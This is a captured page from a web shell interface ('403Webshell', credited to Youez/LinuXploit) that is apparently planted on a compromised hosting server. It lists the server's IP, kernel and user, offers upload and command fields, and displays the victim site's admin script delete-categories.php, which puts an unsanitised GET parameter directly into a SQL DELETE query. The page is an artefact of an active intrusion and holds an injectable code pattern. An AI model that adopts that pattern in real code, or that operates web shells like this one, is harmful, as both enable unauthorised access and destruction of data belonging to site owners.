403Webshell
Server IP : 162.0.215.10  /  Your IP : 3.138.141.4
Web Server : LiteSpeed
System : Linux premium181.web-hosting.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64
User : alfhgysd ( 724)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/alfhgysd/apoteech-uae.store/controlPanel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/alfhgysd/apoteech-uae.store/controlPanel/delete-categories.php
<?php
include "master.php";
 ?>
 <script>
 function myFunction() {
 var x = document.getElementById("snackbar");
 // x.classList.add("show");
 x.className = "show";
 setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000);
 }
 </script>

 <?php


 $id = $_GET['id'];
 $sql = "DELETE FROM `maincategories` WHERE id = $id";
 $rs = $db->dbQuery($sql);
$err = "تم الحذف بنجاح";


          echo '
              <script>
              $(document).ready(function(){
                $("#snackbar").addClass("show");
                      setTimeout(function(){
                       $("#snackbar").removeClass("show");
                         }, 3000);
            });
              </script>
          ';
          echo "<meta http-equiv='refresh' content='3;URL=categories.php'>";



 ?>
<div id="snackbar" class="">تم الحذف بنجاح</div>

Youez - 2016 - github.com/yon3zu
LinuXploit